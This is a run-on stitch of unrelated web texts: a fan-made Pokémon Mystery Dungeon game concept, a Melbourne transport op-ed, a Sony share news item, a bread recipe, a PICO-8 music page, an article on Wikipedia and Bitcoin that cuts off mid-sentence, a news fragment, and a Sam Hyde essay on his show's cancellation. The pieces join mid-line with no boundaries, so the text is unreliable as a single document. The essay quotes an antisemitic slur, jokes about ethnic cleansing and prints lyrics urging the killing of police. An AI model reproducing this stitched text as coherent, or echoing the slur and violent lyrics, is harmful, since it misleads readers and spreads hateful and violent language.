Every throwing item is stackable up to a maximum of 99x and only takes one space in the bag.
They can be found inside dungeons or by buying them to Kecleon.
Town
The towns are major places that can be visited by buying passports from the Wingull in the Harbor, and travelling with Lapras.
Main Story Towns
Strength City is the main town, where the player and partner live, and take the most time. It's located on the Sand Continent.
Atlantic City, an city found in Aqua Continent.
Ventus Village, a village found in Air Continent.
Flora Plaza, a plaza found in Grass Continent.
Lilypad Town, a town found in Mist Continent, and it's known to be the most primitive town.
Aquamarine City, a city found underwater of the Water Continent, but only available by talking to Mantine. The underwater dungeon mechanics ork here.
Celestial Town, a town found in the skies of Mist Continent that's only available by talking to Drifblim. The sky dungeon mechanics work here.
Post Game Towns
As it suggests, these towns can be obtained after clearing the main story, and talking to the Wingull from the Harbor. Many towns from past dungeon games can be found here, although they drastically have changed, and some houses become unhabited.
As another fact, the player cannot access to the main base in Pokémon Square, the base in Sharpedo Bluff is covered with bushes and is unaccesible, the Pokémon Paradise in Post Town is closed, and Carracosta & Nuzleaf's houses in Serene Village are closed as well, although they wil lwander around the village, without mentioning the player or partner.
Pokémon Square, located in Air Continent.
Treasure Town, located in Grass Continent.
Post Town, located in Mist Continent.
Serene Village, located in Water Continent.
Main Shops
The shops are another returning feature, in where the player can buy or store things, as well as more activities.
Kecleon's shop
It's an establishment which purpose is that you can buy some useful items for expeditions. The purple Kecleon makes a comeback, selling non-edible items, such as throwing items, orbs and looplets. The older Kecleon, which is the green one, will sell edible items such as fruits, Elixirs, seeds, vitamins and others. Kecleon's seeds can be planted and harvested at Steenee's farm.
In Aquamarine City, they're replaced by two Frillish, one female and other male, which take the purpose of the green and purple Kecleon, respectively.
In Celestial Town, they're replaced by a normal and a shiny Jumpluff, which take the purpose of the green and purple Kecleon, respectively.
Delibird's storage
Do you have some valuable items, but you have no place where to save them and don't want to lose them? Then you should go to Delibird's storage, found in Strength City! A gentle Delibird will run the place, replacing Kangaskhan's storage and the boxes. The storage is much more organized than the before, since the items are organized by quantity, much like Kangaskhan in Red/Blue Rescue Team, and you can ask how many items want to withdraw instead of withdrawing one by one. Not only this, but you can also order the storage by: Item class, Alphabetical Order and Quantity.
Also the Deposit Box wasn't scrapped at all, since it will appear in some waypoint rooms, replacing the Kangaskhan statue.
In Underwater City, he's replaced by a Whiscash, and in Celestial Town, he's replaced by a Drifloon.
Hakamo's Bank
Once more, the Bank returns again, after being absent in Gates to Infinity and Super Mystery Dungeon. Basically, the bank, run by a Dhelmise, will save your Poké (the coin in the Pokémon World), so you can deposit and retire your money as many times as do you want, like in a real bank. Additionally, if you give him Gold Bars, Dhelmise will exchange them for various items and even Poké, sorta referencing the Glorious Gold, in Gates to Infinity and Super Mystery Dungeon.
In Underwater Town he's replaced by a Dhelmise and in Celestial Town he's replaced by a Pidgeotto.
Crabominable's Moveset Shop
Crabominable is the replacement of Hawlucha's Slam School and Scraggy's Savvy Moves, with some upgrades as well. At first, Crabominable will only make you remember or forget moves, but as the game goes passing, there will be a time in where Crabominable will start making you learn Hidden Abilities, although you need to get rid of an old ability to get a new one. He will also act like a move tutor, teaching moves that the Pokémon cannot learn in any way, or even some egg moves.
In Underwater Town he's replaced by a Poliwrath and in Celestial Town he's replaced by a Hawlucha.
Hitmonchan's Dojo
Are you feeling a bit underleveled and want to level a bit more, but sometimes you can't go to the dungeons? Then, you should go see Hitmonchan's Dojo! After being absent in Gates to Infinity and Super Mystery Dungeon, the dojo returns, even though this time the owner is a Hitmonchan, replacing Makuhita and Marowak. Here, much like Makuhita in Rescue Team, Hitmonchan will display you 18 different dojos of each Pokémon type. Each dojo is classified by easy, medium and hard levels, in where a boss will be waiting at the final floor of the dojo maze (Every dojo maze has 5 floors).
Much like Marowak, you cannot carry any items inside a dojo, if you do so, all of your items and money will be sent to Delibird's storage, and Dhelmise'Bank instead of losing them. You can also keep any item found inside the dojo and even if you faint inside a dojo, the items won't be lost.
After completing a dojo, Hitmonchan will give you some prizes, like Makuhita.
Steenee's Berry Farm
Run by a jolly Steenee, it's a place in where you can plant berries and seeds, but you need to make sure to water them, otherwise they will stay buried. You however have to wait a in-game day so you can harvest the berries and seeds. Some seeds, after being planted and received water, will germinate in a few in-game days, into a flower. Flowers are upograded seeds, and do major effects. Some seeds cannot germinate into a flower, though.
Steenee also sells fertilizer, useful to make berries and seeds grow faster, although they're expensive.
The Harbor
The Harbor is a returning place in which it's an upgraded version of Lapras' Travel Liner. It's composed of a tavern and a port, which its also linked to the Post Office. Inside the tavern, a Wingull sells Passports, in which they are needed for going to another continent. A Lapras, a Mantine, a Drifblim and a Toucannon are the sailors/pilots.
Lapras is the main sailor, since he can take the player to any other continents. Mantine is unlocked at some point, which purpose is to take the player to an Underwater town, namely Aquamarine City. Drifblim is in charge of carrying the player and partner to a city in the air, namely Celestial Town. Toucannon attends the flight to the Friendly Island.
Post Office
A place run by many Wingulls and Pelippers. Inside, you can find other Bulletin Boards so you can have not only missions from the team, but also additional missions. A Ledian, who is known for being a traveller, will occasionally give rare missions, as well as Legendary Challenges.
The Post Office can also be found in Underwater City and Celestial Town.
Other Establishments
Kangaskhan's Café
An returning establishment, in which becomes important in some parts of the story, is a café run by a Kangaskhan, who will give you the rewards obtained after clearing a mission. This time, she's not alone, since a Shuckle, a Cleffa and an Igglybuff assist her. Shuckle shares the same function as Spinda, making different drinks. The drinks are free but you should be the one who brings the food. Sometimes a surprise will await you... He also seems to be much more calmer than Spinda. Cleffa has the same function as Wynaut, trading minor items. Igglybuff, on the other hand, shares the same purpose as Croagunk, trading exclusive and rare items. Some clients will randomly want to join your team, by merely drinking, or playing the lottery.
Klefki's Locksmith
An returning local which has the same function, open treasure chests found inside dungeons, where they have many rare and exclusive items. Now you can open various chests at once.
Nursery Kindergarten
Run by an Audino, a Happiny and a Magcargo, it's function is that in some missions they will give a Pokémon Egg, and these are sent to Audino, who she will take care of, until they hatch, much like Chansey in Explorers. The only difference is that Audino now takes care of six eggs, instead of one. These eggs will usually hatch into a Pokémon that you didn't recruit before. She sometimes will remember that she used to work in a school once... Happiny's function is similar to the Pokémon Daycare, you can send maximum 6 Pokémon, and she will play with them. This helps the Pokémon gradually raise levels. The only downside is that the new moves that the Pokémon is able to learn, will replace other moves, although you can see Crabominable and make them remember the wanted moves.
Magcargo, on the other case, is a very cranky Pokémon, and usually doesn't want to take care of the eggs, which gets being constantly scolded by Audino. His purpose is to make the eggs hatch faster and learn some better moves, but his services are very expensive. As the player visits Magcargo, he will gain your heart and lower more the prices.
Police Station
Run by a Gumshoos and a horde of Yungoos, as it suggests, is the law representative of the region. They also have a display of lost objects that they found or items that the outlaws stole. The player can keep them. Outside of the Police Station there's another Bulletin Board dedicated to mainly outlaw missions.
Hotel
It's a place that's only available to Aquamarine City and Celestial Town. Here it's run by an Alomomola and an Altaria respectively. Their function is that the player and partner can rest there without needing to go back to the Adventurers Headquarter or their main base.
Friendly Island
It's a new feature that has to be unlocked at some point of the game.
To reach there, you must talk to Toucannon in the Harbor, and then he'll take the player to the Island. The Island is mainly run by a Mime Jr, whose function is commanding the Friend Areas.
The friendly island is a place in where your recruited Pokémon take the main place here, similar to the PokéPelago in Sun/Moon. The island offers many minigames, in which you can exchange many prizes, and sometimes a Pokémon that you haven't recruited yet, will wander around. They will serve some special requests, and once clearing them, they might join your team or give very rare items. Even Shiny Pokémon have a chance to appear there.
Museum
Run by a Kricketot, it's a place in where you can put there your statues, that can be obtained from special Wonder Mails or by using amiibo. It's an establishment unlocked in the post-game, where a statue of the player and partner will be placed.
List of statues
Hero (Normal)
Partner(Normal)
Charizard
Greninja
Raichu
Wigglytuff
Mewtwo
Lucario
Arceus
More coming soon...
Main Places
Mime Jr's Friend Club
Returning after a long absence since Rescue Team, it's the main place of the Friendly Island, a place where the recruited Pokémon can be found. Friend areas also return, with some new ones, and they have been upgraded by size. Inside a friend area, you can interact with your recruited Pokémon, they will also say some random, interesting things.
You can also give them vitamins and items without needing to pick them inside a dungeon. Unlike Wigglytuff's Club in Rescue Team, the friend areas are free, and they're unlocked after you recruit a new member.
Mime Jr. itself acts similar to Quagsire and Chimecho, check your member's status, check where does a certain Pokémon live in a Friend Area, even fire them, or change their names. He also does the same function as Crabominable, only remember forgotten moves, or remove unwanted ones. Next to his stand, there's a door in where you can enter the Friend Areas.
Bellossom's Decoration House
Since the main plaza of the Friendly Island can be customizable, to do such things, you need to talk to Bellossom. For a reasonable price, you can buy many decorative items, to give an animated or colorful appearance. You can even change the main layout of the Island, although it's a bit expensive and some decorations need to be unlocked by playing minigames.
The available layouts are:
Tropical Beach
The default layout. It's simply an island layout, with a tropical touch, the stands will look rustic.
Mysterious Cave
A beautiful cave, that reaches to a sea, it gives some water reflection, and rainbows, with a treasure touch. The stands will look like they're made of stone.
Fantasy Cloud
A layout in where it looks like a cloud island. The default is the white one, but you can change it to a blue, purple, pink or rainbow clouds. The stands are also made of clouds.
Relaxing Valley
An oasis, set as a main layout, in where there are some thermal waters, give it a calm appearance.
Mystery Forest
This gives the island a creepy, eerie appearance.
Doing this, increases the chances of Pokémon coming there, and even the chances of finding a shiny.
Plain Roses, which can be obtainable after germinating a plain seed or using a reviver Rose, can be used here as merely decorations.
Ribombee's Ticket Cabin
A stand found in the entrance of the Friendly Island, it's where you can buy tickets from a Ribombee. The tickets are indispensable for playing minigames. The tickets you can find here are the: Normal, Silver, Gold and Prism Tickets. Eacgh ticket has a different difficult, in which they can be considered respectively: Easy, Medium, Hard and Very Hard. The price is also expensiver, but the items are much better and rare.
Musharna's Theater
Do you have a certain cutscene of the game that you loved? Want to revive it again? Well, you should go see Musharna's Theater! For a certain prize, you can tell her what cutscene do you want to revive, and she will look into the player's dreams, and play the cutscene in a machine called Dream Seeker.
The Well
The well from Explorers of Time/Darkness/Sky also returns, making a small appearance, in where the player can save the game in the island. Next to the well there's a Deposit Box, in where you can save your items and money, they link automatically to Delibird's storage and Dhelmise' Bank.
Minigames
It's also an important attraction of the Friendly Island, in where your recruited Pokémon can play them.
Other wandering Pokémon will also want to compete you, and if you set a record higher than theirs, they might admire you and want to join your team, or give rare items.
Some minigames that can be played in Gates to Infinity also return here.
To play a minigame, you need to have tickets, in where you can buy them from Ribombee's shop.
The following minigames you can play are these:
Returning Minigames
Ambipom's Lottery
Although not really a minigame, it's considered to be one, originating from Explorers of Time/Darkness/Sky and Gates to Infinity, it's run by an Ambipom, inside here, you can play 3 different games:
Raffle
A game in where you have to pick a random card, and get the prize of the card.
Scratch Tickets
For the price of 100 Poké, the player can get a scratch ticket. This utilizes the Touch Screen. Scratching off two stars wins a regular prize and three stars wins a better prize. There are six spaces, four of which contain stars.
Toy Machine
A machine in where you have to move the claw, grab a capsule, and then drop it into the prize receiver, much like in the real toy machines. The capsules have hidden items, so it's impossible to determine what item does it have.
Starmie's Sunken Treasure
Run by Starmie, this is a mini-game from Gates to Infinity, where the player collects black, blue and red treasure chests by tilting the 3DS. Touching a Chinchou or a rock deducts one treasure chest starting with black chests. Unlike Treasure Boxes, they are opened upon obtaining.
Beartic Slide
Run by Beartic, this is a mini-game from Gates to Infinity, where the player flicks pucks on the Touch Screen into a hole on the upper screen. It has a time limit of one minute. Three types of pucks appear in the mini-game: Big-(50 points), Middle-(30 points) and Small-(10 points) size pucks. Ten high score records are kept. While in-game, three different power-up chips appear: double the points, continuous big pucks, and a bigger hole. These power-ups last ten seconds. Prizes differ after won.
Jellicent's TV Show
A place that replaces Meowth's Theater in Super Mystery Dungeon, Here, the player can play five different special dungeons that are being recorded, like a movie. All of the dungeons are named after movies. When the film has been shot, whether the player finishes the dungeon or faints on the way, the film is stored on the SD card and can be sent to other players.
On the side note, the Jellicents of the Jellicent TV Show, from Super Mystery Dungeon make a cameo here too.
New Minigames
Golem's Treasure Escape
A dungeon minigame, in where the player has to find many gemstones, such as rubys, sapphires, emeralds, topaz, amethysts and much more. It's also set by a certain time, and the player needs to pick as many gemstones as it's possible. However it won't be very easy, since there are many traps, such as Spinarak webs or swarms of Zubats and Woobats, in which they interrupt the player. Salandits also tend to knock the player, then start stealing a certain amount of gemstones, depending on the difficult.
Cherubi's Berry Grab
A minigame that's up to 4 players, in where they're placed under a fruit tree, the main objetive is to grab more berries than the other players, although you can push them.
Linoone's Elimination stand
A minigame that's up to 4 players, found in a board similar to a chess, the objetive is to clear a row or column, to make it fall. Anyone who steps a clear row/column will fall off and no longer return. The main objetive is to survive before the others.
New Secret Bazaar
After the events in Explorers, it's rumored that the Secret Bazaar has closed, and remained abandoned, until a Meditite decided to help the adventurers, so she reopened the bazaar, along with some new friends.
Characters:
Meditite: She's the leader of the New Secret Bazaar and the guide. Talking to her will make her explain about each stand.
Torkoal's Hot Thermal Waters: A gentle Torkoal that helps the player and partner to restore it's HP, PP and belly points, by relaxing in his thermal water.
Sunflora's surprise bag: For a small price Sunflora will give the player a bag in where contains a random item, from a simle Plain Seed to one rare Wonder Chest.
Cinccino's cleaning service: If you stepped on a sticky trap and have sticky items, Cinccino will help you clean them and make them useful.
Stantler's runaway escape: If you have trouble to keep on the dungeon, Stantler will help you exit the dungeon and return safe and sound.
Kecleon's market: A green Kecleon runs the shop, by selling some randomized items.
In the New Secret Bazaar there's also a Deposit Box, in where the player can store their items and money.
amiibo
This is the first Mystery Dungeon game that's compatible with amiibo, but only the Pokémon amiibo.
The amiibos are used to make a Pokémon join to the team, and will have special moves, or simply give a statue to the player, that can be displayed in the Museum in Friendly Island.
Furthermore, if an amiibo is used before the player has turned into a Pokémon, will turn into the Pokémon of the scanned amiibo, with the exception being Mewtwo.
There are 2 special Pokémon that can be played as starters/partners, and these are Pikachu and Jigglypuff.
Pokémon Function Moves Abilities Notes Pikachu Using it before starting the game makes you get Pikachu as your starter or Partner. Using after the game will make a Pikachu join your team, giving you also a Raichu statue. Electro Ball
Fake Out
Growl
Grass Knot Static
Lightning Rod* It's normal and Alolan Evolution on the story mode varies according to the Vital Spirit of the player. Jigglypuff Using it before starting the game makes you get Jigglypuff as your starter or Partner. Using after the game will make a Jigglypuff join your team, giving you also a Wigglytuff statue. Disarming Voice
Pound
Sing
Feint Attack Cute Charm
Competitive
Friend Guard* None Charizard Using it before starting the game makes you get Charmander as your starter or Partner. Using after the game will make a Charmander join your team, giving you also a Charizard statue. Flame Burst
Scratch
Dragon Rage
Bite Blaze
Solar Power* It's Mega Evolution on the story mode varies according to the Vital Spirit of the player. Lucario Using it before starting the game makes you get Riolu as your starter or Partner. Using after the game will make a Riolu join your team, giving you also a Lucario statue. Foresight
Quick Attack
Bite
Vacuum Wave Inner Focus
Steadfast
Prankster* None Greninja Using it before staring the game makes you get Froakie as your starter or Partner. Using after the game will make a Froakie join your team, giving you also a Greninja statue. Pound
Growl
Aerial Ace
Bubble Torrent
Protean* None Mewtwo Using it before starting the game will make nothing happen. Using after the game will make a Pelipper give you a Mewtwo statue, and a Mewtwo Challenge Wondermail, where you’ll fight with him, and after defeating him, he will join your team. Psychic
Barrier
Aura Sphere
Amnesia Pressure
Unnerve* None
Credits
Credits to DryBones157 for making the logo and the artworks of Pichu and Togepi.
Credits to ManiacalMew for making the Growlithe, Axew and Purrloin artwork.Melbourne has a superb public transport infrastructure - for 1935. The affluent have crossed the Yarra and now colonise almost all of the zone-one public transport area, delighting in the benefits of the public transport system built by our ancestors. They enjoy frequent tram services and fast and comfortable trains. They own cars and use them for shopping and visiting friends and relatives; but they don't rely on them to get to the city for work or play.
Los Angeles and Dallas are spending huge sums building up their public transit systems, not because of some sentimental leftie belief in the virtues of public transport, but to bolster inner-city property values and to get developers interested in the bombsites.
Melbourne in 2012 faces another crisis, not of contagious disease but looming economic stagnation. Once the transport system serving a city reaches its limits developers no longer want to build and building owners no longer want to maintain: eventually the city decays into a few buildings in a sea of bombsite car parks, like downtown Dallas or Los Angeles.
A royal commission reported in 1888 that the only way to control typhoid was to arrange for the sanitary removal and treatment of sewage; and every household had to be connected to the system before any of them were safe. A Board of Works was established, funded from a property rate and began work in 1891 in spite of a fierce economic crisis; and by the start of the 20th century the smells, and the deaths from typhoid, were a fading memory.
Extending Prahran-class public transport to all the built-up areas of greater Melbourne would cost a considerable amount; but generate far more in increased property values, as well as keeping Melbourne's CBD vibrant and prosperous. Our debt-shy state government won't do anything significant to save the city, whichever party is in power: both have prolonged the appointment of public servants who believe public transport is for losers and the best that public transport users should expect is an occasional bus on a crowded freeway.
We must go back to the future and establish a public authority, funded by property rates, with a mandate to build a genuine world-class public transport system. With such a system in place, no more than 5 per cent of Melbourne households would be more than 800 metres from a fixed-rail transport service. A rate of 0.1¢ in the unimproved capital value dollar would raise about $1.7 billion per year, while half of all households would pay no more than $11 a week. This is less than it currently costs outer suburban households to register and insure their third car.
Over a 20-year period such a public transport authority would raise and spend about $35 billion on Melbourne's fixed-rail infrastructure. This is sufficient to deliver the Footscray to Caulfield tunnel, the airport and Doncaster rail lines, and then build an additional 100 kilometres of twin-track heavy rail, add an express track on 100 kilometres of existing rail routes, build 1200 kilometres of light rail and tram routes, and eliminate 10 level crossings.
This would be a fantastic bargain for suburban battlers: over 20 years their transport rate would cost no more than $12,000 while their property value rose by $80,000. The attraction might seem a little less in Toorak or South Yarra with their excellent tram and train services built by preceding generations; but their property values would be protected from the consequences of the collapse of CBD values if the city were to be choked by inadequate transport.
The government has attempted to remove the politics from public transport by setting up Public Transport Victoria; but the people that it has appointed to the board have been involved in a series of disasters, not just myki, that have left Melbourne travellers paying too much for not enough. They are the people who scrapped 90 trams just as patronage started to rise; who closed two tram depots and sold the land, then sent their minister to tell the public that a new depot would cost half a billion dollars; who signed dodgy contracts with the first batch of franchisees giving Melbourne 20 bouncing trains and another 20 trains that wouldn't stop; who sent out their ministers to make public fools of themselves by saying new trams would cost $20 million each and a three-kilometre extension of the Epping line would cost $300 million.Sony's share price has fallen to a 31-year low following the announcement of the company's record 456.7 billion yen (£3.5bn) annual loss.
Shares fell by 6.7 per cent to 1132 yen (£8.79) in response to Sony's latest financial results, announced yesterday. That report revealed that sales of PS3s, PS2s and PSPs were all down year-on-year.
But Sony boss Kaz Hirai has forecast a healthier outlook for the year ahead, including a return to profit for the firm's gaming division and an ambitious sales forecast for PlayStation Vita.
There's no use hiding.
Today's dramatic decline in share price suggests that investors remain worried by Sony's financial future, however.
"Sony is facing a lot of difficulties and the new president has not been able to produce a clear plan as to how he will turn around the company," Yuuki Sakurai, president of Japanese finance firm Fukoku Capital Management, told BBC News.
"Even the little that investors have heard, they are not very impressed with."
Sony was aware such losses were coming - the company last month braced investors it would announce the biggest loss for a decade.
To combat this, Kaz Hirai's "One Sony" vision for the company's future involves focusing efforts on just three areas: "digital imaging, game and mobile". The new plan was accompanied by the confirmation of 10,000 lay-offs.
Hirai commented at the time that the company's PS3, Vita and peripheral sales were "generating steady profit".Now for the Recipe…
Here is a recipe for gluten free bread. I was able to make this bread using my bread machine, which meant eating homemade bread in a relative short period of time.
This bread had a crispy crust and was light and soft. Again, not something you get from the frozen loafs of bread you buy in the grocery store.
The key to making a good gluten free loaf of bread in a bread machine is to mix all the ingredients in a kitchen aid mixer first. Gluten free flours need a lot of mixing to incorporate them, and bread machines do not have enough power to do that.
This recipe is not my own but was handed to me by a customer at work. No name was attached so I take no credit for the recipe, but also am not able to give credit to the original author.
Recipe: Homemade Gluten Free Bread
1 cup + 2 Tbsp tapioca starch
¾ cup brown rice flour
¾ cup potato starch
2 tsp xanthan gum
¾ tsp salt
1 Tbsp sugar
2 tsp instant yeast
1 egg + 1 egg white
¾ tsp cider vinegar
1 ½ tsp canola oil
1 1/3 cup milk(warmed)
Measure and mix dry ingredients.
Beat eggs. Add them, along with milk, oil and vinegar to dry ingredients.
Mix thoroughly in a stand mixer to fully incorporate all ingredients.
Add dough to bread machine.
Set bread machine to gluten free setting, 1 ½ lb loaf size and dark crust.
Let bread cool on its side before cutting.
Enjoy!Copy and paste the snippet below into your HTML. Note: This cartridge's settings do not allow embedded playback. A [Play at lexaloffle] link will be included instead.
Up: Play
Down: Stop
Left: Previous Track / Restart current track
Right: Next Track
A cart filled with all the music I could fit onto it. Feel free to use these tracks in your pico-8 games, here is a tutorial on how
I'm happy to say I'm finally releasing the album! It's up as a free download on Bandcamp, and I'll have it available to listen to as a Soundcloud playlist here.
Update July 2016: With the new changes to the audio system, the music sounds much better! (Thanks Zep!) I've re-exported the music and re-uploaded to Bandcamp.
Thanks to Dann Toliver for making the visualizer with me, to Gabby DaRienzo for design advice, and Andrew Carvalho for help with math. I'm not very good with math.
Also, thanks to Zep: PICO-8 logo property of Lexaloffle games, used with permission.
Old version/notes:On the 30 July Wikipedia added Bitcoin as a donation option among the 13 different payment methods. It seems like Wikimedia the non profit foundation behind Wikipedia was waiting for something. Compared to other non profit organisations, we could even say that Wikimedia could even be late to start accepting the digital currency for donations. Other big non-profit organisations like Wikileaks and EFF benefited from being some of the earliest organisations to accept Bitcoin for donations back in 2011. So what was it that was holding Wikimedia back?
Being Skeptical of Bitcoin’s Viability
Back in late 2012, Jimmy Whales the creator of Wikipedia replied to a question in the question-and-answer website Quora. The question was What does Jimmy Wales think about Bitcoin? And his response?
I am Jimmy Wales and therefore have a reasonable amount of knowledge about what I think and what I have done. It is interesting but I’m cautiously skeptical. What I mean is that if you imagine a spectrum from “optimistic” down to “skeptical”, then I’m slightly closer to “skeptical” than “optimistic”. I think it is an interesting pilot project and experiment, but that it is unlikely to be much more than that. It may provide the intellectual and experiential groundwork for something more widely usable and consumer friendly in the future, though!
From this, we are assured that Wikipedia was aware of Bitcoin from almost two years ago or maybe even more. It should be kept in mind though that back when Jimmy Whales answered this question the Bitcoin price had never been bigger than 15 United States Dollars. Bitcoin started getting more mainstream popularity during mid 2013 but even today it’s still considered by many to be an experiment. We even see “This is experimental software” in the latest release of the bitcoin core wallet. Assuming that Bitcoin is something new to most people it’s fully justifiable that Jimmy Whales would be sceptical, especially back in 2012. And to be honest, he wasn’t the only one. Even EFF, one of the first non profits to accept bitcoin, stopped accepting donations months after they had started accepting the currency. The first reason they based that decision on as they stated in an update was that they don’t fully understand the complex legal issues involved with creating a new currency system. It wasn’t until last year though that the Electronic Frontier Foundation started accepting Bitcoin donations once again. However a non profit, Wikipedia could also have it’s concerns about those legal issues.
Wikimedia’s View on Bitcoin and Digital Currencies
In the past, the foundation has been heavily criticised about it’s view on bitcoin. More especially, it was a statement they made back in December 2013 through their FAQ that got the Bitcoin community furious. The FAQ has since been updated but the update from December stated the below:
The Wikimedia Foundation, as a donor-driven organization, has a fiduciary duty to be responsible and prudent with its money. This has been interpreted to mean that we do not accept “artificial” currencies – that is, those not backed by the full faith and credit of an issuing government. We do, however, strive to provide as many methods of donating as possible and continue to monitor Bitcoin with interest and may revisit this position should circumstances change.
About four months after that incident, Jimmy Whales came to tell us that he’s playing around with Bitcoin in a reddit post he made. He also gave out a public address he was using. Later this address was stormed with 21 bitcoins coming from people eager to donate Bitcoin in wikipedia. Whales said he would be re-opening the discussion with the foundation about accepting Bitcoin donations. But he also brought up some reasons why they haven’t already done it.
Finally, bitcoins!
It wasn’t until yesterday, July |
He called religious exemptions a "Plan B" strategy to "carve out a space where gay people's equality does not affect the way these other folks live their daily lives."
But Jordan Lorence, a lawyer with the conservative Alliance Defending Freedom, who represents Elane Photography, said the First Amendment protects the right of people not to endorse messages with which they disagree.
"The right of conscience protects all Americans," he said.
(Reporting by Edith Honan in New York; editing by Dina Kyriakidou and Matthew Lewis)Well, they cancelled it. Million Dollar Extreme Presents: WORLD PEACE, Adult Swim’s politically intolerable comedy show has been ethnically cleansed from late night cable. America’s young weed-pipe-hitters are safe from Sam Hyde, Nick Rochefort, and Charls Carroll’s racist mind control, protected from sick “alt-right” jokes about public school and tap water. Be careful — there might be a swastika hidden in this paragraph. Can you find it?
WORLD PEACE was guilty of every sin. Wrath, “normalization,” pride, envy, lust, doing a sketch where Mark Zuckerberg is violently abducted and beaten to death by red monsters. According to a certain Blockhead who is currently at Buzzfeed: “World Peace [was] one massive in-joke designed to signify to a group of people online for whom the limits of irony have been misplaced and forgotten,” the so-called “trolls” that helped elect Donald Trump. Sounds a little paranoid to me.
Other comedians, presumably ones who keep a close eye on “the limits of irony,” hated the show, or at least saw an opportunity to sanctimoniously grandstand. Brett Gelman, a character actor who recently produced his own Adult Swim special, Brett Gelman’s Dinner With America, publicly cut ties with the network, in part because of WORLD PEACE, and not because his shit sucked and got no ratings and execs thought everything he pitched was weird and dumb. Tim Heidecker, an elder statesman of Adult Swim’s comedic style and a producer for Gelman’s special responded to this brave display of virtue with a letter of support. Eric Andre, though he has made no public statement, is rumored to have disliked the show. Even Judd Apatow, a Hollywood giant who has no direct connection to Adult Swim, personally petitioned World Peace’s senior executive producer Mike Lazzo to have the show removed. He was probably worried that MDE’s boundary-pushing style would bite into streaming sales for This is 40.
Comedians these days, just like journalists and academics, are expected to tow an ideological line. Brett Gelman happily shared an episode of the Comedy Bang Bang podcast with Sarah Silverman in 2009 without chastising her for spending nearly an entire year of her life episode of her Comedy Central series in blackface. Eric Andre has done a bit called “Everybody Hates Kikes.” But Eric Andre also got his press pass revoked for doing jumping jacks in the middle of the aisle at the Republican National Convention this year and Sarah Silverman killed at the DNC with a strong ten minute set predicated on haranguing Bernie Sanders supporters for “being ridiculous.” They’re allowed to be crude. It’s for the greater good. They are, at least implicitly, #WithHer. Gelman’s Dinner made an interesting case that white people are a “virus,” and included multiple scenes of black celebrities being threatened at gunpoint by police, which all seems pretty above-board and properly ironic to me. Hilarious stuff. All MDE did with WORLD PEACE was paint my (Sam’s) face brown-ish so he looked extra stupid while calling himself “Peanut Arbuckle.” The guys in MDE voted for Trump. We’re not allowed to be stupid, just “uneducated.”
Mr. Joe Berstein, a blogger at Buzzfeed, was involved as well. In August, I told him on camera that he’d never work for The New York Times. “You’re going to be blogging and tweeting until you are dead and nobody will care,” I said, laughing heartily. Bernstein asked that the video be taken down. I had recorded it during an interview Bernstein conducted for his first piece on Million Dollar Extreme, “The Alt-Right Has Its Own Comedy TV Show on a Time Warner Network,” originally posted to Buzzfeed on August 25th. Its title has been altered since then, presumably because addressing “Time Warner” directly makes it sound a little too much like the modern New York City journalist’s equivalent of an ancient prayer for rain. When Bernstein announced this publication on Twitter, the message was shared sixteen times and awarded ten “likes.” Not quite “viral,” but it looked enough like a legitimate news story to make television executives nervous.
Immediately after the publication of “The Alt-Right Has Its Own Comedy TV Show on a Time Warner Network,” a Reddit poster identifying himself as Bernstein, and capable of an almost-uncanny reflection of his stilted, collegiate style, wrote: “I’ll make sure this show doesn’t get a season 2. I’ll make sure all the contracts you’ve made are revoked. I’ll make sure this community of abhorrent, racist and just downright offensive people is spread no further …According to your followers I am nothing more than a ‘human toilet’ …for Buzzfeed. I am higher up than you think.” So good for him, really. He’s an “influencer” – the Cadillac of human toilet brands.
Adult Swim has been under pressure, for the last year or so, to add more shows by female creators to its line-up. In June, Splitsider wondered “Why Doesn’t Adult Swim Order Shows from Female Creators?” In October, Polygon informed us that “Adult Swim’s excuse for not hiring women is a perfect example of TV’s problem.” And on and on. Of course MDE — the most purely masculine show in Adult Swim’s history — ended up on the ol’ bris block. It was the easiest way to keep the “journalists” at bay, for now.
The best sketch from WORLD PEACE was “The Man Who Would Never Be… What They Made Him To Be.” It’s all in black and white, shot on a series of small sets with high contrast lighting and sweeping camera moves. In it, Charls, playing a prison inmate, refuses to recognize the reality of his situation. He’s accused of a crime, but denies it. “I didn’t do nothin’,” he says. He’s sentenced to ten years, but denies them. “Ten years, forty years, two hundred years,” he says. “How about I’m doing none of them?” In the prison yard, while lying on a weight bench, he’s stabbed repeatedly. “Quit horsin’ around guys, I’ll be done in a second,” he laughs.
When Charls is released, he finds his home smashed to pieces. Then a John Maus track plays: “Cop Killer.” Charls thrashes around in agony. When this sketch aired on Adult Swim, the song was replaced with another song from the same album: a sedate tune called Hey Moon. The substitution was made so close the show’s airdate that close captioning still reflected the lyrics of the original song. “Cop killer,” they read. “Let’s kill the cops tonight. Cop killer. Kill every cop in sight.”
Maus has described the song as non-literal; a celebration of disrupting authority as a good in and of itself. Behind the scenes, there was a great deal of struggle involved in selling this sketch to the network. That they refused to play it is, now, a minor detail. Less than twenty-four hours later, MDE fans had cobbled together a few versions with corrected music.
Million Dollar Extreme’s show is gone, but our drive isn’t. We just released a 744-page art/comedy book: How to BOMB the U.S. Gov’t, which is available here, and we’re planning to work our fingers raw until the end of time making people laugh and smile. Maybe we really are what Brett Gelman accuses whites of being: a virus. Viruses are durable organisms. They survive when their hosts die out, teeming and propagating in the darkness of the body, chuckling at the apocalypse.
It’s hard to figure out what to make of all this. Maybe MDE was ahead of its time. Maybe it pushed the envelope too far. Maybe it got flushed by the wrong establishment-climber Buzzfeed functionary, or somehow rubbed one of the guys responsible for Tom Goes to the Mayor the wrong way. People have been telling MDE for years what it is – and how disgusted we should feel about it.
Like Charls, lifting in the prison yard, MDE will just keep on dishing out klassik laffs. “Quit horsin’ around guys, we’ll be done in a second.”
Sam Hyde is a comedian from Fall River, MA, and is one of the three members of Million Dollar Extreme. He is a good boy and didn’t do anything. Follow him on Twitter.
